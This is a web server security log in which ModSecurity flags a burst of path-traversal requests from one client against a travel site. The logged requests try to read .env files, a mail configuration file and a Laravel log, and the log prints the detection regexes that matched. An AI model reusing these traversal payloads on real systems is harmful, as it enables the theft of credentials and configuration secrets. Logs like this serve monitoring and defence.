[Fri Jul 17 08:55:03.843516 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj3RlmrtCoY_COpclwgAAAAg"]
[Fri Jul 17 08:55:03.843537 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj3RlmrtCoY_COpclwgAAAAg"]
[Fri Jul 17 08:55:03.844745 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj3RlmrtCoY_COpclwgAAAAg"]
[Fri Jul 17 08:55:03.854276 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?file=..%2F..%2F..%2F.env&debug=MBEVC78DrDRqcDv3AOEs6dwaBKpzJdF0qDJ55GjUeiQ18iTRSrVgdpJm7H0ccwkJn0PX0FDX9PQK7GBC3iUekZkMW9zieYst8JWK5fuDKJp_PIdB8ayK6hzo3uPiWLMa760PVac8Ljc0bGTwdApk2sISgC6fmuWaT07qyiwkBkVk3rR8NOKjt70qIARIFA7luPdh2lGlJyG_MOi-sKlD4FESCN5ofo2mYK4wepOTcu99sk4707oM4KJ3kcvZhXlpS3bApHQ4B1vq4kuo9DOE1soZ&ref=HMTLE3B6EWEWT5H66RLAI2AQE5YSVCGKEMSRY5SMNKXR6AFQC56RR5CUNVM7OP43UI42PJDXJ7NOVYFEAP7QPECWU2MELIAQKAKOQIJHX64TKNOSAA4YEPAK3RVJ3MD4FYPV26D4QX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjwRRrtuZqNDDSqWwJQAAABo"]
[Fri Jul 17 08:55:03.854340 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjwRRrtuZqNDDSqWwJQAAABo"]
[Fri Jul 17 08:55:03.854403 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../../.env&debug=MBEVC78DrDRqcDv3AOEs6dwaBKpzJdF0qDJ55GjUeiQ18iTRSrVgdpJm7H0ccwkJn0PX0FDX9PQK7GBC3iUekZkMW9zieYst8JWK5fuDKJp_PIdB8ayK6hzo3uPiWLMa760PVac8Ljc0bGTwdApk2sISgC6fmuWaT07qyiwkBkVk3rR8NOKjt70qIARIFA7luPdh2lGlJyG_MOi-sKlD4FESCN5ofo2mYK4wepOTcu99sk4707oM4KJ3kcvZhXlpS3bApHQ4B1vq4kuo9DOE1soZ&ref=HMTLE3B6EWEWT5H66RLAI2AQE5YSVCGKEMSRY5SMNKXR6AFQC56RR5CUNVM7OP43UI42PJDXJ7NOVYFEAP7QPECWU2MELIAQKAKOQIJHX64TKNOSAA4YEPAK3RVJ3MD4FYPV26D4QXNHW35NIPJY6FJY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjwRRrtuZqNDDSqWwJQAAABo"]
[Fri Jul 17 08:55:03.854444 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../../.env&debug=mbevc78drdrqcdv3aoes6dwabkpzjdf0qdj55gjueiq18itrsrvgdpjm7h0ccwkjn0px0fdx9pqk7gbc3iuekzkmw9zieyst8jwk5fudkjp_pidb8ayk6hzo3upiwlma760pvac8ljc0bgtwdapk2sisgc6fmuwat07qyiwkbkvk3rr8nokjt70qiarifa7lupdh2lgljyg_moi-skld4fescn5ofo2myk4wepotcu99sk4707om4kj3kcvzhxlps3baphq4b1vq4kuo9doe1soz&ref=hmtle3b6ewewt5h66rlai2aqe5ysvcgkemsry5smnkxr6afqc56rr5cunvm7op43ui42pjdxj7novyfeap7qpecwu2meliaqkakoqijhx64tknosaa4yepak3rvj3md4fypv26d4qxnhw35nipjy6fjy..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjwRRrtuZqNDDSqWwJQAAABo"]
[Fri Jul 17 08:55:03.854469 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjwRRrtuZqNDDSqWwJQAAABo"]
[Fri Jul 17 08:55:03.854493 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjwRRrtuZqNDDSqWwJQAAABo"]
[Fri Jul 17 08:55:03.855716 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjwRRrtuZqNDDSqWwJQAAABo"]
[Fri Jul 17 08:55:03.855860 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:03.856177 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgjwRRrtuZqNDDSqWwJQAAABo"]
[Fri Jul 17 08:55:03.857710 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjw5GPQ6hs4VrfMpBHgAAAAY"]
[Fri Jul 17 08:55:03.857749 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjw5GPQ6hs4VrfMpBHgAAAAY"]
[Fri Jul 17 08:55:03.858873 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjw5GPQ6hs4VrfMpBHgAAAAY"]
[Fri Jul 17 08:55:03.859020 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:03.859317 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgjw5GPQ6hs4VrfMpBHgAAAAY"]
[Fri Jul 17 08:55:03.861720 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj6quHSHoCJK_V0SBHgAAABs"]
[Fri Jul 17 08:55:03.861760 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj6quHSHoCJK_V0SBHgAAABs"]
[Fri Jul 17 08:55:03.861993 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?file=..%2F..%2Fstorage%2Flogs%2Flaravel.log&extra=HDqu3_Pq3QpsZHaBrYUrgwtvVVi6W1foktG__qZK_uffZHeCLGpFPXbU49TTS3LW8ldTS7HLfL4a5lEO_JfmNiSc8gR8RLuQE0d2ppJQAfxTmE18_j3dR--eQUjyXpIdAlSOxxpFssw8qPpxwW7rgXET2_jZaGhU83_-8yOlDJ3zlfhzLxbR8k3kySE7OW6PxzKiw_iXSHACKBG6pAduBQ106uakqEb83fEZRsGjfNqjCA7ns5PsCo0n7Sa20tI5tzJ4CKSlBY-EsN2r3OAvHiB7&token=IEGWU2AY37ZQSOYFOJB2VCJFTPS3C42IQHMTLOUJ5BMPHQJA2YE75QMDWQDLJ5ONYQG25UULLYBNBCGWSE75W4QHMHGKIGI2B43ZYX6VX25FBCKUPLYCW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj1CBpfuYyhJ140vSVAAAAB4"]
[Fri Jul 17 08:55:03.862034 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj1CBpfuYyhJ140vSVAAAAB4"]
[Fri Jul 17 08:55:03.862102 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../storage/logs/laravel.log&extra=HDqu3_Pq3QpsZHaBrYUrgwtvVVi6W1foktG__qZK_uffZHeCLGpFPXbU49TTS3LW8ldTS7HLfL4a5lEO_JfmNiSc8gR8RLuQE0d2ppJQAfxTmE18_j3dR--eQUjyXpIdAlSOxxpFssw8qPpxwW7rgXET2_jZaGhU83_-8yOlDJ3zlfhzLxbR8k3kySE7OW6PxzKiw_iXSHACKBG6pAduBQ106uakqEb83fEZRsGjfNqjCA7ns5PsCo0n7Sa20tI5tzJ4CKSlBY-EsN2r3OAvHiB7&token=IEGWU2AY37ZQSOYFOJB2VCJFTPS3C42IQHMTLOUJ5BMPHQJA2YE75QMDWQDLJ5ONYQG25UULLYBNBCGWSE75W4QHMHGKIGI2B43ZYX6VX25FBCKUPLYCWDAD5N25FER5VZDJN..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj1CBpfuYyhJ140vSVAAAAB4"]
[Fri Jul 17 08:55:03.862132 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../storage/logs/laravel.log&extra=hdqu3_pq3qpszhabryurgwtvvvi6w1foktg__qzk_uffzheclgpfpxbu49tts3lw8ldts7hlfl4a5leo_jfmnisc8gr8rluqe0d2ppjqafxtme18_j3dr--equjyxpidalsoxxpfssw8qppxww7rgxet2_jzaghu83_-8yoldj3zlfhzlxbr8k3kyse7ow6pxzkiw_ixshackbg6padubq106uakqeb83fezrsgjfnqjca7ns5psco0n7sa20ti5tzj4ckslby-esn2r3oavhib7&token=iegwu2ay37zqsoyfojb2vcjftps3c42iqhmtlouj5bmphqja2ye75qmdwqdlj5onyqg25uullybnbcgwse75w4qhmhgkigi2b43zyx6vx25fbckuplycwdad5n25fer5vzdjn..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj1CBpfuYyhJ140vSVAAAAB4"]
[Fri Jul 17 08:55:03.862154 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj1CBpfuYyhJ140vSVAAAAB4"]
[Fri Jul 17 08:55:03.862196 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj1CBpfuYyhJ140vSVAAAAB4"]
[Fri Jul 17 08:55:03.862849 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj6quHSHoCJK_V0SBHgAAABs"]
[Fri Jul 17 08:55:03.862963 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:03.863268 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgj6quHSHoCJK_V0SBHgAAABs"]
[Fri Jul 17 08:55:03.863320 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj1CBpfuYyhJ140vSVAAAAB4"]
[Fri Jul 17 08:55:03.863424 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:03.863712 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgj1CBpfuYyhJ140vSVAAAAB4"]
